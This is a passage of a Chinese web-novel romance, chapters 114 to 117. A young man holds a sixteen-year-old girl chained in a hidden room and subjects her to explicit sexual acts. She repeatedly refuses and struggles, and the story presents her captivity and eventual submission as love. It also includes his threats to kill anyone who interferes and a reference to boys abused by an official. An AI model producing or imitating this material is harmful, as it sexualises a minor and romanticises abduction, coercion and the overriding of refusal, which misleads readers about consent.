“我哪里是在欺负你?阿锁,还是这样嘴硬呢。嘴硬的话,我就想亲到你说实话为止。”
江曜旋即不再用手摸她,他埋下脑袋。
姬时语再情难自控,双手与双脚俱是被红绸铁链锁住,她想挣脱也不能。
腰肢想挣扎,却被江曜一只手臂紧揽住。
他锁着她,偏要她任由他摆弄。
姬时语说不出话。
那种感觉,既是极大的舒服,又带有轻微的刺痛。
江曜故意用牙齿厮磨,几番来回地欺负她。
“阿锁,你现在还觉着我要杀了你吗?你说说看,我可是在欺负你?”
姬时语根本不敢垂眼,她克制地扬起脑袋,呜呜地轻唤。
一旦垂下眼,便会瞧见江曜乌黑的发间,紫金玉冠晃动着。
那东西占去了她粉缎的绣花鸳鸯,羞得她发颤。
江曜垂首,轻柔地亲她。
姬时语感觉自己要疯掉,紧紧闭合起眼。
“阿锁不说话,是很喜欢被这么亲啊。”
江曜揉着她的腰窝,在软肉那处捏搓了两下,他低低的笑了出声,“看来舒服的连话也说不出来了。”
“你……你,你闭嘴!”
姬时语面红耳赤,眼角坠着泪珠,不时滴落两颗,却并非是为了生气。
当了十六年的黄花闺女,如今太过羞愤,她不敢直视。
心中的害羞太甚,终还是呜咽出声。
“江曜,呜呜呜,你就是在欺负我。”
姬时语总是柔软白腻的,江曜的手已经掐/入,可唇齿却也不放过她。
被折磨的姬时语玉颈亦泛了红,喘息不止。
江曜好似极其喜欢她的身体,目光痴迷地落在玉/桃之地,便总爱流连忘返。
不管是他的手、眼睛还是唇。
被江曜握住着亲吻,他没用很大的力道,姬时语被摸得亦是很舒服,气息便就此紊乱。
“你不要,不要再这样了,我不要,江曜,啊……”
可是江曜不打算这么放过她。
他的手还在往下走。
“为何不要?阿锁你明明好喜欢的,不乖乖说实话的人就该受到惩罚,嗯?”
铁链啪嗒啪嗒地在撞地,姬时语真满心只想挣扎摆脱。
她羞愤地闭紧双眼,眼睫飞快眨动,唇间只余下了咬唇哆嗦的哼声。
室内沉寂,江曜尤为不满意。
他没收回手,冰冷的脸颊却贴上了姬时语火热红扑扑的脸蛋。
“阿锁又不吭声了,不说话那我可要亲你的。”
姬时语羞恼气得睁开眼,江曜的手一个用/力,她便又是张了嘴“啊”地出了声。
江曜笑起来,凑上前低头啄她的粉唇,轻轻的,温温柔柔的。
“阿锁,乖,叫我云让哥哥,喜欢阿锁这张小嘴这么喊我。”
江曜一遍又一遍地亲她的嘴,姬时语避不开脑袋,只能任他捧脸含住微红的唇。
她脑子里白/茫茫的,被江曜作弄得快要昏厥。
“阿锁?”
江曜又重重地吮了一口,姬时语的红唇瞬间红肿一片,他唤她:“阿锁,喊我。”
偏在这种时候,江曜停了手。
姬时语粉颊红润,不悦地抬起眼瞪他,眉眼泛动春/潮。
“好好的喊我,我就给你。”
江曜却俯身亲她漂亮的猫瞳,嘴角轻扬 ,满足地看她吸气微颤。
姬时语被折/磨的不上不下,难耐坏了。
但眼前这个坏心眼的人就是要听她那张小嘴里,吐出自己喜欢的话。
若是好听,他愿意什么都给她。
“……哥哥。”
姬时语羞到难以自持,闭起眼,眼睫不住颤抖,她嗡嗡喊他:“云让哥哥。”
“真乖。”
再度得到了江曜的怀抱,姬时语那颗被提起的心,也在瞬间落回了原处。
“现在,该我给你了。”
小姑娘浑身泛着粉,吐气如兰,她的手脚发软,腰肢柔柔下沉。
多亏有红绸吊着,不若会立即栽倒坠地。
姬时语已是平稳了呼吸,她缓慢平复,情绪尚可抑制。
“如何?”
只是在听得江曜直白之话,姬时语还是耳尖颤抖,身子紧绷。
江曜取来帕子,当着她的面慢慢擦拭自己的指尖,他那双狐狸眼直勾勾的沉了墨色。
姬时语看得脸上又是一阵热意。
那都是她的……
江曜用一只干净的手掌攥住她的腰,话音笑意浓浓,满心的愉悦充斥心间。
“看,阿锁你的腰自己在动呢。”
姬时语更不敢垂头,她羞愧万分,自己的身体她焉能不知晓?
刚与江曜,她是太舒服了,腰肢竟不自觉地往江曜冰凉的手心上靠去,很是想与他再度亲密。
可是,可是她心底不愿意承认自己是这样的人。
姬时语对江曜的话闭口不言。
小姑娘本就是个害羞的性子,被喜欢的少年调戏便罢了,还摁着做了从未做过的出阁之事。
她只顾着闭眼满面羞红。
“你也喜欢我对你这样是不是?”
江曜却直接捧着她的脸蛋深深吻了下来。
“嗯……”
姬时语被迫承受了这个吻,良久,她唇瓣发疼,被吮咬了好几下,疼得她又是一阵呜呜。
江曜终是放了口,他摸着她的脸,轻声呵气,“饿了吗?”
这回姬时语没矫情,点头便应:“好饿,我还未进食。”
“谁让你要一路跑那么远的?”
姬时语腹诽:还不是为了躲你?不是你我何苦逃命?
似乎察觉姬时语愤恨的目光,江曜走出去几步远,端来一碗粥,便笑着靠近她。
“往后想逃跑可以,但要记得用饭,我可不喜欢你太瘦,太瘦容易硌人。”
江曜似笑非笑,意有所指,闹得姬时语一个大红脸。
姬时语吼他:“给我松手,我要吃东西。”
“不要。”
江曜一口否了。
在姬时语瞪目结舌之中,两人就着这个害羞的姿势,他执起汤勺,给姬时语喂白粥。
胡闹了一阵子,白粥有些温凉,吃进嘴里不太好吃,但对姬时语而言,她已有几个时辰滴水未进。
白粥润嗓子,还算能进食。
吃下了大半碗,姬时语摆头不再张口,她感觉自己已是半饱,不想再多用一口饭菜。
江曜却又执起勺子到她唇边,他说:“乖,再吃点,不若一会儿你又饿肚子怎么办?”
“一会儿?”
姬时语怒视的眸子便眨眼射了过来,“你还打算绑我多久?”
江曜淡笑不语。
他这话便是就没打算轻易放走她。
姬时语气恼极了,她气江曜一言不发便将她带来密不透风的暗室,又气家中人若知晓她不见踪迹,该有多着急。
思绪一多,小姑娘恼得便红了眼眶,愤愤一头撞到江曜的手腕。
这一撞,是将江曜手中的那晚白粥当场打翻。
粥落满姬时语一身。
但她没有任何反应。
姬时语朝江曜吼道:“你就这么绑了我,我爹娘和姐姐该多担心?我说好了要去岭西,人却在半路没了,江曜,你不可伤我亲人,不然我当真要恨你……”
她胸膛起起伏伏,因白粥点点沾落,连锁/骨也被嘀嗒了两滴。
江曜掐住她的腰,埋头倾身而上,他的舌尖卷上她脖上的粥,是吃掉舔舐了干净。
“阿锁又在怪我了,我将你带来,自然是告知了侯府,侯爷与夫人都知晓你随我住在城外的别庄之中。”
“你!”
姬时语还在生气,火气并未因江曜一番话而消气,“但你怎么可以,可以这样对我!”
恼火的话说不完,江曜已是顺着她身上零落的白粥,自上而下地亲她。
他亲得缓慢,唇间热气弥漫,烫得姬时语低/吟。
姬时语的腰不自觉扭/动起来,她脸色红润,吐气不稳。
“别,别再来了……”
“那可不行啊,我做了万全周到的安排,便是为了你我在这里,无人发觉。”
话音落,江曜已是将姬时语身上的白粥舔尽,一滴不落。
“阿锁,你大可以放心,这回,不会再有第三人打搅我们。”
直起身,江曜抬起手,扣上自己腰间的玉带。
他的手心一翻,就那么弄掉镶嵌红宝石的玉带,反手丢落至地。
姬时语羞的厉害,连十根脚趾也因他这个举动蜷缩僵硬。
此前两人胡乱来,江曜一直是穿戴整齐,他一副玉质金相,做出的事又是荒唐至极。
姬时语虽恼火,但也没升出多少真正的恨意。
只因为,她自始至终,都喜欢着江曜。
而他又温柔以待,让她太舒服了。
如今姬时语直直面对江曜,看少年顶着清冷的容貌,狐狸眼翻涌旖旎的情/欲。
他那只大手正覆在衣襟口,好似下一刻便要解开月白色的衣袍。
姬时语的呼吸瞬间加重。
江曜不是没察觉,留心着小姑娘的眼,她正一动不动看着他。
小姑娘猫瞳色泽糜丽,江曜蓦地勾唇,看来他的阿锁有几分觊觎他的姿色。
不过江曜还未动,姬时语却先咽了口水,她巴巴问:“你……你真要脱。”
“怎么?”
江曜挑了眉,眼中兴味四起,“阿锁脱得,我脱不得?凡事要讲有来有往,方才我让你舒服了,这回该你让我舒服,不是吗?”
“我,我,我,我怎么能……我不要,明明是你非强/要于我的!”
姬时语咬唇,她羞得不敢再看江曜。
她是喜欢江曜的皮囊,可亲密之事她从未接触过,还是害羞。
江曜却说:“阿锁,看着我。”
姬时语因他郑重的话,直起脑袋看过去。
在她那双盈盈微光的注视下,一阵窸窸窣窣响动,江曜兀自解开衣袍。
“啊!”
结白紧实的胸/膛赫然呈现在姬时语面前,她莹白的脸布满红霞,热得滚烫无比。
若是双手得空,姬时语怕是能当场捂住自己滚烫的脸蛋。
“江曜……”
“阿锁。”
江曜揽住姬时语的腰,将他这么一拽,被红绸吊着的她便落入了他的怀抱。
两人紧/贴着,未着片缕,姬时语轻呼一道,江曜则发出了喟叹。
他的呼吸亦是沉重,喘气声渐大。
“外面的雨停了,我也
不会停的。”
第115章
对着姬时语一身白软腻乎乎的感觉,江曜爱不释手。
他揉着,自后拥住了她。
不得已,姬时语只得靠在了他的胸/膛之上。
少年已是精壮不已,腹/肌块状分明。
姬时语几乎不需要怎么去看、去摩挲,只是轻微感受,便能清楚地感知他胸/肌与腹/肌每一块,每一条线沟壑分明。
“阿锁,所以你不喜欢我吗?”
江曜将头颅埋在她耸起的肩窝里,他的鼻息温热。
打在姬时语耳上的热气一阵又一阵,染红了她颤抖的耳朵。
如玉的小耳尖抖动着,姬时语闷声不吭。
江曜只好一口含住在他眼前诱人的耳尖,细细地吻。
姬时语难耐的吐出几个“嗯”,想扭身逃离,偏无济于事。
她的柳腰被束缚的有些久了,即使江曜对她再舒服,可也抵不住红绸吊起的难受。
姬时语终于哼了出声,“江曜,我的腰……你给我解开,我好难受。”
闻言,江曜的手去摸索了一会儿,复而便解开缠绕在她腰间的红绸。
没了束缚,姬时语一下便落在地上。
脚趾碰触冰凉的地,她被冰得轻呼。
“踩着我。”
江曜搂抱住她。
他的大手如同湿滑的蛇,不断攀爬、蔓延,在这样温柔又贪恋的爱抚之下,姬时语竟生不出一丝厌倦。
反倒是口中的吐息凌乱,脑子蒙蒙的。
下意识地,她听话的朝后一抬,踩上了江曜的脚背。
这下,她的脚趾是不凉了。
可是,她身后触及了一个很棍的大子。
“啊!”
姬时语顿时尖叫。
江曜已是握住了她的腰,将她要逃离的娇躯再度拉进怀抱。
两人坦诚相对,姬时语是从未有过的慌乱,她未经过事,到底要害羞太多。
“不要,江曜你不能……我们还未大婚,你怎么可以?这种事不应该在这里做的。”
“乖,你可以的……”
江曜贴近了她,姬时语不断扭身、挣扎,铁链捶地的声音在这寂静的暗室,显得格外刺耳。
啪嗒、啪嗒。
姬时语还在抗争,她扭着扭着,便察觉江曜反而比先前还要火热非常。
江曜搂紧了她,声色沙哑,“阿锁,你确定还要乱动?”
“不、不、不,我不动了,我错了……”
姬时语惶恐地抖唇,半分也不敢胡来,她怕极了江曜真把持不住。
更也不敢再刺激他一分,只能乖顺的、安静的窝在他怀里。
然而江曜却说:“怎么就合不拢了?阿锁,你知道,你做的到的。”
“不,不,我做不到,我真的做不到。”
“那我只能上手帮你。”
江曜的手刚朝下伸出,他还没来得及摆弄,姬时语便先一步让他再也动弹不得。
小姑娘身子紧绷着,死死夹住便不放开他的手。
“阿锁。”
江曜好笑道:“刚还说合不拢,这会儿又怎么说也不放开我的手?”
姬时语哼哼出声,“对!我就是不让你动作,谁让你只会作乱欺负我,我要夹紧了,不给你机会。”
“好,你长本事了。”
江曜并未说其他,反而笑的很欢。
他倒是很乐意在这事上,让姬时语同他胡闹。
不若她真心抗拒,江曜自然拿她没辙。
还能打情骂俏,便是不抗拒他。
“可是,阿锁。”
江曜却突然之间,伸出另一只空闲的手来,“你忘了,我还有一只手啊。”
“啊……”
姬时语是没料到,人慌乱极了,她一紧张,身子紧绷的便更厉害。
“嘶,你莫要这么紧张。”
江曜试图哄着怀中的小姑娘,好容易说服她松开了禁锢。
他才将人抱紧,姬时语便又一回颤抖发了狂。
她的娇躯百般诉说着不愿,不住扭动,口里含糊不清地喊着。
“江曜,你这是在折辱作践我,你连求娶也不愿意求娶于我,便对我做这种事……”
姬时语是被江曜真的触/碰/贴上,她很敏/感,羞愤地哭了出来。
哭声如小猫呜咽,弱弱的啜泣。
委屈之中的羞涩更甚,本意是想阻碍江曜继续。
她抗拒被蛇缠上。
“阿锁,你怎知道我没求娶于你?”
江曜竟是怒了。
“我说没有就是没有,我从未听爹娘说过,江曜,你不娶我,还要同我做新婚夜才可做的事,你不会是故意想糟蹋我吧,你不是说喜欢我吗?呜呜呜……”
姬时语越说委屈越甚,泪珠是如泉水般朝下淌落。
“我早就和侯爷与夫人说过想求娶你,只是两人并未同意。”
江曜未动身子,他就这么从后抱住了姬时语。
他的脑袋贴过来,蹭蹭她柔软的脸蛋,是把泪水也一并蹭去。
“阿锁,你这话全是在诛我的心,我多想娶你,恨不得今日便将这里做婚房。”
姬时语的啜泣只到了一半,便被江曜的真心话止住。
什么求娶?
江曜同爹娘说过娶她?
他当真早便打算娶她过门吗?
姬时语半懵半解,脑子还未清楚,江曜已是抱着她,再度贴紧她的后背。
“啊……”
江曜兀自松开一双手,没了支撑的姬时语朝前栽倒,她脚踩江曜脚背本就站立不稳,吓得当即便双腿朝后一勾。
直直挂在了江曜的腿。
“嘶……”
江曜倒吸一口凉气,他双手捧起她的臂弯,脸贴在姬时语脸侧。
刹那间,两人竟是同一时齐齐喘气。
坚实的藤蔓沿着墙面疯长,那处墙缝给予它窥视的时机,它趁机,阵阵微弱的战栗作响。
“呜呜呜,哥哥……”
姬时语喊出了爱娇的声音,“我抱不到你了,你怎么不抱我?我不舒服,我要你抱着我……”
“过会儿抱你,你再忍忍,嗯?”
江曜侧头轻轻啄她的脸,哄着她不要怕,意思他会一直站在她身后的。
他喘了两口,宠溺笑着出声:“还是这么娇气。”
姬时语被他折磨的不行,她懵懵懂懂地问:“要多久啊?”
“很快。”
江曜似在担保。
然而起初少年还温温柔柔的对待她,没一会儿,姬时语便勾不住脚踝。
她的脚腕因弯折过甚,生出一片酸/痛,刚要松开脚踝,整个人却瞬间被江曜提起。
“哥哥,你还没好?”
“乖,快好了,你等等我。”
过了好久。
昏昏沉沉的。
江曜用了力道,摩挲着姬时语,她的脆生弱疼,沙哑着叫/喊。
忍了又忍,姬时语再度发问:“好了吗?”
岂料他又来了一句:“嗯,就要好了。”
又过了许久。
“大骗子!”
姬时语心生火气,这都
第三回了,他还想骗自己几时?
可是江曜覆在她脖颈上,微微轻喘,哥哥的喘息声真的很好听,像真的很喜欢她的样子。
她的耳
尖酥麻,姬时语又生不出那么多的恼火。
先前江曜让她过了一把瘾,这回她似乎也该让他的欲_瘾得以疏解。
这般一想,姬时语试探性地问喘息中的少年,“哥哥,给我解了手上的红绸,好不好?”
也不知道是沉浸在迷幻的梦中,还是真大发慈悲,江曜竟听从她的话,将束缚在姬时语手腕上的红绸尽数解开。
入暗室许久,终于得以解脱,姬时语长呼一口气。
啪嗒。
铁链打在地上,她的双手朝下一握,是正正好在他的口口,身后的江曜登时“唔”了一声。
“哥哥,我可以帮你……”
姬时语向着身后结实的胸/膛靠去,在这一刻,两人的肌肤紧紧相贴,心跳声也融为了一体。
江曜脑中的弦几近崩断。
她竟然愿意用柔软的手心帮他。
姬时语凑过去,偏了头,朱红的嘴唇再搜寻着他的,有些难耐的重重呼吸。
“哥哥,吻我。”
江曜将嘴递给了她。
姬时语主动地吻上了他的薄唇,将两片如花娇嫩的唇瓣,都献给了他。
正如她这个人。
江曜吻着她,破碎的声音从两人唇间飘荡而出。
“阿锁,很喜欢吧,你喜欢吗?我这样对你,你不可以讨厌我啊,我多希望你会喜欢。”
“嗯……不会讨厌。”
应出这句话,姬时语脸蛋羞红。
从最初的不情愿,到这会儿好似已经能坦然接受与他这么亲密,甚至还渴望再多一些。
“哥哥,我想。”
她有些渴他的,芊芊腰肢摇/动,忍不住抬起。
察觉到姬时语的动作,江曜一把摁住了她的柳腰。
“不可以。”
江曜否了:“阿锁说过的,只能等大婚之夜不是吗?要把最好的留到那时候,到那时,我们再一起。”
“你真这么想?”
姬时语烦闷不悦地垂了脑袋,她闷哼一声:“方才你还不是这么说的啊。”
江曜低沉的笑开,他又亲了姬时语的嘴角。
小姑娘的唇在他唇间,是翘得老高,很是不满意的样子。
“阿锁说过的话,我都会记得。”
“可是……我……”
“阿锁,不可以的。”
江曜好似很无奈的叹了口气,“你不让我继续,那我只能这样,满足不了阿锁,那也只能先忍忍。”
“好讨厌,我讨厌你……”
什么叫满足不了她啊?
闹的好像是这事她想要的一般!
嘴上这么说着,姬时语却哼哼地歪头,用嘴亲他的唇。
她像是在沙漠之中行走多日的旅客,在搜寻着甘霖。
“随阿锁讨厌吧,我喜欢你就好。”
江曜被小姑娘生猛地亲吻,反而还在窃喜,他狐狸眼眯起,主动任由她胡乱着亲。
从头到尾,他只要她,要她完完整整的属于自己。
不要有旁人。
谁也不要。
姬时语竟主动地任他随心所欲,江曜一颗心被盛得满满当当,真想在今日便当做两人的新婚之夜。
可是姬时语说了,她内心还是在乎大婚之日。
那么江曜可以忍耐,在此之前,他不动她。
等两人大婚,再彻底拥有这朵娇花。
得以舒缓的刹那,江曜那双狐狸眼如冰河破碎般开出大片的痴迷。
他吁口气,再亲亲姬时语柔软白腻的脸蛋。
江曜迷恋地吻着她:“阿锁,真好啊。”
姬时语委屈巴巴地抱怨,“我的手都酸了。”
小姑娘的手腕是真心疼,先被吊着了许久,而今铁链还未解开。
即便被塞入棉絮,也经不住江曜蛮横地抓握。
再就是,他又那么久。
姬时语靠在他身上,娇嗔说道:“江曜,该轮到你伺候你的阿锁小姐。”
“嗯,听你的。”
江曜将手覆盖过去,十根手指穿过她纤细柔软的指头,抓紧了。
收拢她的手指之后松开,反复如此的捏着。
姬时语打了个盹儿。
一番折腾之后,紧绷的身子终是得以停歇休息,她困倦地懒懒磨蹭了几下江曜。
“我好累,你抱我去睡觉。”
第116章
姬时语再度醒来时,眼前伸手不见五指。
眼皮子重得打颤,她恍惚顿着了许久。
后才意识到自己是被江曜带入暗室之中,还未离开。
手心有了些力气,刚要挪动,便察觉腰间一只有力的手臂,正环抱着自己。
生紧发沉,不给挣脱。
姬时语双手之上的铁锁已被解开了束缚,唯有双脚还被镣铐扣着,但铁链很长,允她随意挪动。
如今与江曜同被而眠,他就睡在她身后,揽着她入怀。
以一种全然将她包裹的姿态。
强势又霸道。
姬时语的指尖稍稍撩开身前的薄被,一个挑动,被下却是一览无余。
两人还是未着片缕,相依相偎。
姬时语的耳根隐隐滚烫。
这些时日脑中数多的乱七八糟那些事,皆一股脑涌上了心头。
她不知在这处暗室和江曜厮/混了几日,不见天日的日子过得太漫长,一日恍若一年。
只记得全身上下无一处不酸痛的。
两人并未到最后一步,姬时语仍旧是完璧之身,可她身上的每一处,江曜都不曾放过。
尤其是她的腿。
姬时语越想越觉得脸红。
这可比她看过的话本还要露骨太多,她那时只是只字笔墨,江曜却领着她,无尽的沉浸其中。
然而她竟然没真的恼火生气,恨江曜这般囚着她,来回折磨。
只因到了最后是她主动勾起腿弯,缠上了江曜劲瘦的腰。
她搂紧了他,要他给予自己更多。
从两人相识起,便是姬时语缠江曜更多时。
后来即便江曜先领悟这一层感情,并非浅薄的兄妹情谊,姬时语还是喜欢依赖在他身边。
是以两人生出芥蒂,姬时语恐惧江曜会动手杀她,脑子混沌,胆怯地想暂避一时。
江曜固执的不给她这个机会。
他只用一种甜腻的刀子,抓了姬时语回来,带她尝遍这天地下,她从未吃到过的味道。
姬时语是被蛊惑了的。
在江曜的怀中,她忘却了那些恐怖至极之事,只记得自己满心都是少年。
她喜欢他,身体本能的亲近他。
喜欢到了即使被他用以铁链锁住,她也觉着这是两人的亲密之事。
不加伤痛。
江曜也确实没骗姬时语,这几日下来,他只为姬时语带来过无上的欢/愉。
他并未伤她分毫。
不,若说伤。
姬时语难耐地动弹了两下自己的双腿。
她甚至不用低头查看,便知自己腿上的白肉,已是破/皮生了密密麻麻的痛。
哪里被伤的最深,还得是她的腿。
江曜有些不知节制,即使到最后,姬时语哭着喊不/要,可只引来他忘乎所以的亢奋。
是没抑制住,后还是伤了姬时语。
身后些许的动静,是江曜的脑袋蹭过来,搁在她的耳畔,他轻柔的亲啄她。
将醒的他嗓音沙哑,带起一阵酥酥/麻麻。
“阿锁?”
江曜唤她。
姬时语不习惯和他这么亲密的贴着,她迫切地想要穿上衣裳,再与他说有的没的。
“我饿了,你先下去,给我取衣裳来。”
小姑娘面红耳赤,若点起灯,便可见她白玉似得娇躯是多浓艳的红。
江曜顺从地下了床榻。
两人分开之际,不可避免地碰/触到了姬时语的破皮伤口,她疼得嘶牙。
泪珠也霎时滚了出来。
“很疼吗?”
江曜刚要伸手,姬时语却凶着吼他:“不准你看!都怪你欺负我这么狠,根本不顾及我。”
“那我下回会轻些的。”
“你还想有下回?”
姬时语忿忿摆头,怒瞪江曜,一双
猫瞳水灵灵的,“没有了!”
小姑娘羞赧地忙裹紧了薄被,又是娇嗔。
她才不要给他看,太羞人了。
江曜没敢再多看她雪白光滑的腿。
他不是不清楚,这几日苦惨了姬时语,他再留在这儿,又得欺负她好一阵子。
于是江曜还是起身穿好衣袍,走前他与姬时语道:“阿锁,我去给你拿药。”
“我不要药!”
姬时语好生耳热呜咽,“你拿吃的便好。”
外头的人知晓她还要用药膏,保不齐得多想,说道她真与江曜之间有什么了呢。
都怪江曜!
太讨厌他了。
姬时语气得将脑袋是也闷住了。
左右也被关在了暗室之中出不去,不如真做个缩头乌龟罢了。
……
江曜再次折返的时候,姬时语吃上了这几日以来,第一顿热乎乎的饭菜。
先前两人同在暗室,江曜也有记得去取饭菜。
然而少年欺负她,欺负的太狠时,便会忘乎时辰。
总是姬时语哭着喊好饿了,他才想起来两人还未用膳。
待饭菜再吃到口中时,早便凉透。
为此,姬时语没少打江曜,不光锤,还要打、掐他的脸,把这股子气全撒出来。
江曜越是纵容她,姬时语的小性子便愈发的起了,因此,她还要他解了铁链。
被哄得很开怀的江曜,自然是应了她。
眼下姬时语吃饱喝足,又穿上了干净的衣裙,她坐在榻上,江曜便立在身前,端详她用膳。
待她吃好,江曜便收拾走碗筷。
再度折返时,江曜已点上油灯,刹那间,她看清了他的面容。
少年恢复一贯的清冷,他一袭素净白衣,垂眼时乖顺平和。
好似看不出一分的执拗。
姬时语抬起脚腕,铁链啪嗒地响动。
她听得刺耳,不服气地鼓起了脸,抬起雪白脚腕,用柔软脚趾戳他。
“江曜,你何时能放我走?这都是第几日了?”
闻言,江曜蹲下身握住她微凉的脚踝,狐狸眼随即抬起。
冷冷的,一片浓艳的郁色。
“你还想逃?”
江曜冷淡的话音在暗室空寂缭绕,姬时语被刺得心口痛。
旋即便要抽回脚腕,奈何那头的人不给。
“你都关了我几日了?”
姬时语气道:“江曜,我扪心自问,这几日我随了你心意,你已是舒坦了不是吗?便该放我离开了啊。”
“我舒坦了?原来在你心里,你希望我是这样的,你是为了顺从我啊。”
江曜沉默着,他垂下了头。
少年冰凉的掌心抚摸着姬时语的脚腕,他一动手,铁链便会跟着作响。
啪嗒啪嗒的,令姬时语好生难耐。
“江曜……”
姬时语想要开口,却成了喃喃。
江曜垂着脸,看不清他的神情,他一字一句地问她:“阿锁,上辈子,你没能救我,放任我死在了雪地,才会这一世心生执念,偏要救我,捡我回侯府,是吗?”
血淋淋的真相在两人之间被撕裂。
姬时语的心口骤然升起,如窒息般的痛苦。
这桩事,她这一世,永远都不愿让江曜知道的。
他怎么会?
半晌没等到姬时语的回答,江曜呵笑一声,他又自顾自的低沉。
“看来我说的不错了,阿锁是有机缘的姑娘,不一般,你留有上辈子的记忆,而我却没有。”
“不……”
“事到如今,你告诉我,你竟为了那样可笑的一个理由,怜悯我、可怜我。”
姬时语好想反驳不是这样的。
“阿锁,我一面心痛你接近我时,心存无用的可怜,我一面又窃喜,若非上一世你觉得你欠了我的,这辈子你根本就不会靠近我。”
江曜便沉声继续说道:“那样我便什么都没有了,阿锁,我宁肯你只是可怜我,甘愿留在我身边,多心疼我些也好,至少这样,你还是在的。”
“别说了。”
姬时语心口绞痛,她十分不愿意听江曜,每一回都要亲自撕开伤疤的模样,“哥哥,不是你想的那样,我……”
“阿锁,我要的不是你的对不住。”
江曜似乎在沉重的叹气,“当初你带我回侯府的时候,你说过你永远都会陪在我身边,可到头来,也只是为了哄我。”
“所以你才要将我关起来?”
姬时语好像懂了,她还在苦口婆心,“江曜,你真的要这么做吗?我爹娘……姐姐,皇帝,楚王爷,他们迟早会发现的。”
这世上,不仅仅是他们二人,还有忠义侯府与皇室。
江曜关得了她一时,能关得了一世?
即便姬时语愿意留在暗室,可外头的那些人能愿意吗?
“无所谓。”
江曜平静地说:“谁阻挡我,我杀了谁。”
这一回,姬时语彻底感受到了他冷漠的杀意。
她是真的信了,江曜连她的爹娘都有可能动手。
“不要这样!”
姬时语迅速牵住江曜的手,她在乎亲人,在乎身边的朋友,也在乎……江曜。
她不希望他因为自己,变成万人唾弃的鬼怪。
“哥哥,不要这么做。”
姬时语猫瞳盈盈。
江曜抿唇不语。
姬时语怅然若失,她倍感无力,“那,你要我如何做,才会满意?”
“阿锁。”
江曜几乎是自嘲笑了出声,“我知道你怕我,厌我动刀见血太过暴虐,在你眼前杀了陈家夫妻,可是他们本就该死。”
“你不要说了。”
姬时语的脸再次发白。
她不愿意回想惨死的陈氏夫妻,好像只要她假装忘了,她和江曜之间还能过下去。
但是江曜一旦揭开,她便不得不面对血淋淋的惨状。
“凉州的十四个男孩,无一幸免,都成了陈太守的禁_脔,死了。”
江曜还是执意要说:“而我,只差一点,便是那第十五个。”
轰得一声,姬时语似被炸开。
江曜将伤疤撕碎,参杂血肉模糊,亲自一点点扒开给她看。
多么的残忍与痛苦。
“哥哥……”
几乎是刹那间,姬时语的眼泪如断了线的珍珠,从眼眶之中落下。
她心疼他,也在后悔当初没多体谅他一些。
“不要讨厌我,阿锁,永远也不要。”
“我不会讨厌你。”
姬时语朝他伸出手来。
江曜复而抬眼,姬时语只觉得他直视自己的那双狐狸眼,已蒙上一层浓浓的血红。
小姑娘坐在榻前,水亮的眼眸波光粼粼。
江曜倾身上前,径直便揽住她的身体,大力将她箍入怀中。
“阿锁,你爱我吗?”
江曜颤抖着,问出这句话。
姬时语只觉得发顶突然落下凉凉的水滴,是江曜哽咽了。
“不,你不是我这般的感情,我都知道。在陈家看见你的那一刻,你逃走了,我多恐慌,你不曾想过。为了陈氏夫妻,你想抛下我,再也不见我……”
姬时语没法辩解,她那时候的心思是真的怕江曜会杀了她。
“江曜,对不起,我……”
姬时语无助地落泪,她啜泣着,没法为自己辩解。
“阿锁,你真的对我无心无意吗?连一分都无?”
江曜蹲下来,他捧起她的脸。
“怎么会呢?我对你亦是真心啊。”
面前那张莹白脸蛋泪眼朦胧,少年的眼亦是红红的,沉默良久,他方才张口。
江曜几乎是怒吼出声:“可我要你爱我,你全身心只想拥有我,我要你只是我的。”
“我知道,我知道……”
姬时语抬手圈住江曜的脖子,眼里的泪珠自脸颊淌落。
好凉。
泪水落入她的嘴唇。
原来眼泪是那么的苦。
“阿锁。”
江曜还是说了那句话:“你骗我一回,骗骗我吧。”
姬时语再忍不住,亲眼见得江曜眼尾摇曳的水光,她的心在绞痛,好痛。
她不想他哭。
姬时语揽住江曜的脖子,抬起腰便亲吻上去。
柔软的唇吻住了他的薄唇。
“哥哥。”
江曜攥紧她的腰身,唇上用力,厮磨她的唇瓣。
姬时语闭上眼,任由江曜翻身将她压在榻上。
乌发霎时披散开来,江曜的手指穿入了她绸缎似的青丝。
他五指收紧,这个吻变得更为热烈。
姬时语有些无措地低喊江曜的名字,一条细白的腿不自觉地攀上他身,缓缓磨蹭。
她的脚踝镣铐未取,随着抖动,铁链啪嗒啪嗒地捶地。
声音沉沉。
“你主动的样子,好美。”
江曜吻着她,两人缠绕的气息交织,愈发急促。
动_情的不光有他,还有她亦是。
“阿锁,事到如今,我忍不了,也不想忍了,用你的腿/帮/我,嗯?”
江曜还是抑制不住,上手扯开了姬时语腰间的缎面腰带。
衣襟微敞,雪肩白腻,她凌乱的乌发堪堪盖
住那一团粉缎的小衣。
“阿锁,我只要你。”
江曜拢起她的双腿,曲折而起,两条铁链瞬时缠绕于两人,晃荡垂落在地。
密不可分。
“再多一些,爱我……”
江曜渴/望她再度帮自己一回。
姬时语只是余光一瞥,她的双手便猛地抓紧江曜的手臂,指尖慢慢掐入。
粉嫩的指甲盖渐生起白。
她闭眼微哼道:“可是,你会弄/疼/我的……”
“我轻/点儿。”
江曜擒住她的脚踝,闷声轻喘。
静室只余下铁链在啪嗒晃动。
心跳好快,姬时语却并未阻拦江曜继续。
她放任他有些急不可耐地攫取自己。
对江曜,姬时语终究还是做不到冷漠残忍。
于心不忍的是她,想要逃离的是她。
能给予他所想要之物,还是她。
第117章
江曜着迷似得在她发间呼吸,眷恋这种两人亲密无间的感觉。
暗室之中,唯有他低沉的哑音。
他在唤她。
“阿锁。”
姬时语在江曜怀里苏醒,她太过疲惫,咕哝了两声,又和江曜拉开身子。
江曜当然不乐意疏离她,卷了她的腰身过来,紧紧贴着。
“你真好。”
江曜在后蹭她的后脑,姬时语忆起他不久前才红着眼落泪,她纵容着他又胡来了一回。
想到这会儿身子还是难受,姬时语轻轻叹了一口气,打算先把身后的凶兽抚平顺毛。
因此,她说道:“江曜,其实,我也喜欢你……”
姬时语知晓江曜喜欢听这话。
她也在赌,兴许江曜一个高兴了,便会放她离开。
岂料江曜爬起来便朝她玉色的耳垂狠狠一咬,姬时语吃痛,呜哇地叫。
“你做什么咬我?”
“阿锁,你骗我。”
江曜已是缠上了她,连膝盖也压在了她侧身的膝盖处,他冷冷地笑:“骗我的话,我是不会放你走的。”
姬时语不明白,她说:“我没有,我……”
“不,我们之间的喜欢是不一样的。”
江曜落下这句话,如重锤砸在了姬时语的心上。
不一样。
他们的情感是不一样的。
姬时语下意识感觉到,江曜清楚他爱她更甚,而姬时语的喜欢之中夹杂了太多其余之事。
她有亲人、姐妹、朋友,之后才是他江曜。
